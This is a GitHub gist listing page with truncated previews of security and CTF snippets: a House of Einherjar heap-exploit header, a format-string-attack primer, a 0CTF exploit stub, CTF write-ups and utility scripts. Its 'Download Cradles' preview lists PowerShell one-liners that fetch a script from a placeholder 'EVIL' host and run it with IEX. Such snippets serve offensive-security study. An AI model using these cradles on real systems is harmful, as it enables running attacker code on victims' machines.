Skip to content

Instantly share code, notes, and snippets.

View tkmru's full-sized avatar
💭
🍣 💰 🍖 🍶

@tkmru tkmru

💭
🍣 💰 🍖 🍶
View GitHub Profile
@st4g3r
st4g3r / house_of_einherjar.c
Last active July 28, 2021 22:46
Demonstration of House of Einherjar
/*
* Author: @st4g3r
* This is a PoC for House of Einherjar on x64 Linux.
*
* gcc -Wall -o house_of_einherjar house_of_einherjar.c
*
*/
#include <stdio.h>
#include <stdlib.h>
"""
Detects opaque predicates in single basic blocks, see: http://zubcic.re/blog/experimenting-with-z3-proving-opaque-predicates and https://github.com/JonathanSalwan/Triton/blob/master/src/examples/python/proving_opaque_predicates.py
Sample output:
(angr)sam@angr-dev:~/code/opaque_predicates$ python test.py
WARNING | 2016-08-20 21:13:33,412 | angr.path_group | No completion state defined for path group; stepping until all paths deadend
0x0: xor eax, eax
0x2: jo 9
@abcang
abcang / remote-make.sh
Last active December 15, 2015 15:51
リモートにデータをコピーしてmakeし、手元に転送するコマンド
#!/bin/bash
DIR="$(basename "$(pwd)")"/
HOST="$1"
OPT="$(cut -d " " -f2- <<<""$@" ")"
DIST=/tmp/"$DIR"/
cd ..
rsync -rtuvz --delete "$DIR" "$HOST":"$DIST"
ssh "$HOST" "cd $DIST; make $OPT"
@syusui-s
syusui-s / .gitignore
Last active September 7, 2021 19:09
時間割 to iCalendar
# Created by https://www.gitignore.io/api/ruby,vim
### Ruby ###
*.gem
*.rbc
/.config
/coverage/
/InstalledFiles
/pkg/
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active March 28, 2026 15:06
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object

Your First Format String Attacks.

1. What's the `Format String Bugs'?

 Format String Bugs(以降, FSBとする)とは, sprintf()fprintf()などのprintf関数群やsyslog()などのFormat Strings(以降, 書式指定子とする)を扱える関数において, ユーザが自由に書式指定子を配置できるバグである. これを利用した攻撃手法をFormat String Attacksと呼び, この攻撃によりターゲットとなるプロセスがアクセス可能な任意のメモリの読み書きが行えるようになる. また, それを利用しプログラムの制御を乗っ取ることも可能である.
 実際のプログラムに多く存在するとは到底言えないような脆弱性ではあるが稀に見つかることはある. CVE-2012-0809[1]ではsudoのデバッグ機能にFSBが見つかり, 実際にlocal exploitが公開されたりもした. 前述の通り珍しいものではあるが, 任意のメモリの書き換えができるなど非常に強力なものであることからCTFではよく題材にされる.
 この記事ではFSBの検証に以下の環境を使用した.

sh-4.3$ uname -a
Linux Arch_Laptop 4.0.4-1-ARCH #1 SMP PREEMPT Mon May 18 06:43:19 CEST 2015 x86_64 GNU/Linux
@hhc0null
hhc0null / exploit.py
Last active August 29, 2015 14:17
0CTF 2015 Quals Exploit-FlagGenerator-250pts Writeup? Just exploit code?
#!/usr/bin/env python2
import binascii
import re
import socket
import struct
import subprocess
import sys
import telnetlib
import time
@cocodrips
cocodrips / A.py
Last active August 29, 2015 14:11
CodeThankFestivalB
n, m = map(int, raw_input().split())
print max(n, m)
@st98
st98 / tkbctf3.md
Last active August 29, 2015 14:01
#tkbctf3 の write-up。(移動しました -> http://st98.github.io/diary/posts/2014-05-06-tkbctf3.html)

#tkbctf3

チーム nyoronyoro として参加した。最終的に獲得できたポイントは 650 点でチーム順位は 14 位だった。
Our Future (Network 100), Real World TeX (Misc 100), The Deal (Crypto 200), miocat(Web 250) の 4 問を解いた。

解けた問題

Our Future (Network 100)

普通に future.tkbctf.info にアクセスすると Nope, this is not what you're looking for. Try another way! と表示される。

another way って何だろうと思いながら nslookup future.tkbctf.info すると、IPv6 のアドレスが出てきた。
IPv6 でアクセスしろということなのかと考えて、IPv6 Proxy を通して future.tkbctf.info を閲覧。